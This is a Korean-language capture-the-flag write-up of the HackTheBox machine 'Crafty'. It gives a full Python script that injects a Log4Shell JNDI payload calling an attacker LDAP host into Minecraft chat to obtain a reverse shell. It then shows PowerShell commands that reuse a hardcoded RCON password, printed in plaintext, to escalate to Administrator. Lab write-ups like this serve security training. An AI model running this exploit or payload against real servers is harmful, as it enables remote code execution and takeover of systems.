대상 서버 도메인 : crafty.htb
nmap 정찰 결과

주요 서비스 및 포트
80 http IIS 10.0
25565 minecraft minecraft 1.16.5
crafty 서버로 운영되는 마인크래프트 서버인듯 하다
searchsploit 설명
Searchsploit은 오프라인 환경에서도 Exploit-DB의 방대한 취약점 데이터베이스를 검색할 수 있게 해주는
칼리 리눅스(Kali Linux)의 명령줄 도구입니다. 주로 모의 해킹 및 정보 보안 분석에서 특정 시스템이나
애플리케이션의 알려진 취약점과 공격 코드(Exploit)를 빠르게 찾을 때 사용됩니다.
명령어 : searchsploit [서비스명 또는 키워드], searchsploit apache
사용해보자
searchspliot crafty

자체 제작 공격표면 탐색툴 서칭 결과

Log4Shell을 통한 접근방식을 고려해보자
Log4shell 이란
- 발견 시점: 2021년 11월 24일
- 공개일: 2021년 12월 9일
- CVSS 심각도: 10.0(최고 등급)
- 영향 범위: Log4j 2.0–2.14.1 사용 시스템
- 패치 버전: 2.17.1(2021년 12월 28일)
Log4Shell은 로그 메시지의 JNDI(Java Naming and Directory Interface) 조회 기능에서 발생했다.
공격자는 ${jndi:ldap://…} 같은 문자열을 로그 입력에 삽입해 Log4j가 공격자 제어 서버에서 악성 코드를 받아 실행하도록 만들 수 있었다.
취약점은 2013년 코드베이스에 도입되었으며, 2021년 11월 Alibaba 보안 연구자가 Apache Software Foundation에 비공개로 보고했다. 12월 초 Minecraft: Java Edition 서버 공격이 발생하면서 세상에 알려졌다. CISA는 “가장 심각한 취약점 중 하나”로 평가했다.
또한 추가적인 서칭으로 확인한 결과
- 마인크래프트 Java Edition 1.16.5 버전은 Log4Shell(CVE-2021-44228) 취약점의 영향을 받습니다. Mojang은 런처를 재시작하면 자동 패치되는 클라이언트 수정본을 배포했습니다. 만약 서버를 직접 운영하거나 모드를 사용 중이라면 추가적인 보안 조치가 반드시 필요합니다.

현재 서버 버전이 Log4shell의 취약한 버전임을 확인함
관련 POC를 사용해서 리버스쉘을 붙일 LDAP/HTTP 포트를 열어보자
git clone https://github.com/davidbombal/log4jminecraft.git
LDAP 포트 리스닝

HTTP 포트 리스닝

로그인 시도 Python 코드(Open AI 사용)
#!/usr/bin/env python3
import socket
import struct
import time
HOST = "crafty.htb"
PORT = 25565
USERNAME = "testuser"
PAYLOAD = "${jndi:ldap://10.10.14.6:1389/Log4jRCE}"
PROTOCOL_VERSION = 754
compression_enabled = False
def varint(value):
out = b""
while True:
temp = value & 0x7F
value >>= 7
if value:
temp |= 0x80
out += bytes([temp])
if not value:
break
return out
def read_varint(sock):
num = 0
shift = 0
while True:
b = sock.recv(1)
if not b:
raise Exception("Connection closed")
b = b[0]
num |= (b & 0x7F) << shift
if not (b & 0x80):
break
shift += 7
return num
def recv_exact(sock, n):
data = b""
while len(data) < n:
chunk = sock.recv(n - len(data))
if not chunk:
raise Exception("Connection closed")
data += chunk
return data
def read_varint_from_bytes(data, offset=0):
num = 0
shift = 0
start = offset
while True:
b = data[offset]
offset += 1
num |= (b & 0x7F) << shift
if not (b & 0x80):
break
shift += 7
return num, offset - start
def mc_string(s):
raw = s.encode("utf-8")
return varint(len(raw)) + raw
def packet_raw(packet_id, data):
body = varint(packet_id) + data
return varint(len(body)) + body
def packet_compressed(packet_id, data):
# threshold보다 작은 패킷은 압축하지 않고 data length = 0 추가
body = varint(0) + varint(packet_id) + data
return varint(len(body)) + body
def send_packet(sock, packet_id, data=b""):
if compression_enabled:
sock.sendall(packet_compressed(packet_id, data))
else:
sock.sendall(packet_raw(packet_id, data))
def recv_packet(sock):
length = read_varint(sock)
data = recv_exact(sock, length)
if compression_enabled:
data_len, used = read_varint_from_bytes(data, 0)
if data_len != 0:
raise Exception("Compressed packet received; decompression not implemented")
data = data[used:]
packet_id, used = read_varint_from_bytes(data, 0)
payload = data[used:]
return packet_id, payload
sock = socket.create_connection((HOST, PORT), timeout=10)
print(f"[+] Connected to {HOST}:{PORT}")
# 1. Handshake
handshake = (
varint(PROTOCOL_VERSION)
+ mc_string(HOST)
+ struct.pack(">H", PORT)
+ varint(2)
)
send_packet(sock, 0x00, handshake)
print("[+] Handshake sent")
# 2. Login Start
send_packet(sock, 0x00, mc_string(USERNAME))
print(f"[+] Login start sent: {USERNAME}")
# 3. Login phase packet loop
while True:
packet_id, payload = recv_packet(sock)
print(f"[+] Login packet id: {hex(packet_id)} payload={payload!r}")
if packet_id == 0x03:
# Set Compression
threshold, _ = read_varint_from_bytes(payload, 0)
compression_enabled = True
print(f"[+] Compression enabled, threshold={threshold}")
continue
elif packet_id == 0x02:
print("[+] Login success")
break
elif packet_id == 0x01:
print("[!] Encryption requested. Online-mode likely.")
sock.close()
exit()
elif packet_id == 0x00:
print("[!] Disconnected")
print(payload)
sock.close()
exit()
# 4. 잠깐 대기 후 Chat Message 전송
time.sleep(2)
# Minecraft 1.16.5 Play State Serverbound Chat Message packet id = 0x03
send_packet(sock, 0x03, mc_string(PAYLOAD))
print("[+] Chat payload sent:")
print(PAYLOAD)
time.sleep(5)
sock.close()
print("[+] Finished")
로그인 후 응답



리버스쉘 붙었다!

User flag 겟!

권한 상승준비
플러그인을 살펴보자

jar 파일을 로컬로 가지고 와서 디코딩 해보도록하겠음
// 로컬로 가지고올땐 base64 인코딩을 통해서 가져옴


plugin.yml 파일 내용이다

추가적으로 rkon을 사용하는 것을 알 수 있는데 rkon은 Minecraft Remote Console이라고 함
일단 가지고온 playercounter.jar를 디컴파일 하자

플러그인 내부에 Rcon 접속정보가 하드코딩 되어있음
s67u84zKq8IXw 해당 난수가 PW임을 알 수 있다
해당 PW로 인증을 해볼 수 있을 것 같음
runas를 통해서 권한을 바꿔보자
runas /user:administrator cmd
하지만 현재 쉘이 불안정해서 PW를 입력할 수 가 없었다
아래 코드와 같이 변수로 PW를 설정해두고 권한 상승후 명령어를 txt로 저장하게 해 확인해봤음
$password = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("Administrator", $password)
Start-Process cmd.exe -Credential $cred -ArgumentList "/c whoami > C:\Users\svc_minecraft\Desktop\who.txt 2>&1" -Wait
type C:\Users\svc_minecraft\Desktop\who.txt

권한 상승 성공
root.txt를 읽어 보자
Start-Process cmd.exe -Credential $cred -ArgumentList "/c type C:\Users\Administrator\Desktop\root.txt > C:\Users\svc_minecraft\Desktop\rootflag.txt" -Wait
type C:\Users\svc_minecraft\Desktop\rootflag.txt

후후 성공적
이번 머신에서 느낀것은 리버스 쉘의 안정화 또는 인터렉티브 쉘의 필요성이다
RCON PW를 확인하고 권한 상승까지 얼마 안걸릴줄 알았다
하지만 리버스쉘의 한계로인해서 이것 저것 찾아보다보니까 생각보다 시간이 너무 많이 걸렸고
그런 과정중에 '아 이게 아닌가?'싶기도 하고 그럼 또 다른방향성을 찾다가 다시 돌아오는 과정에 좀 있었다
다음 풀이때는 쉘 안정화하는 방식에 대해서 좀더 알아봐야겠다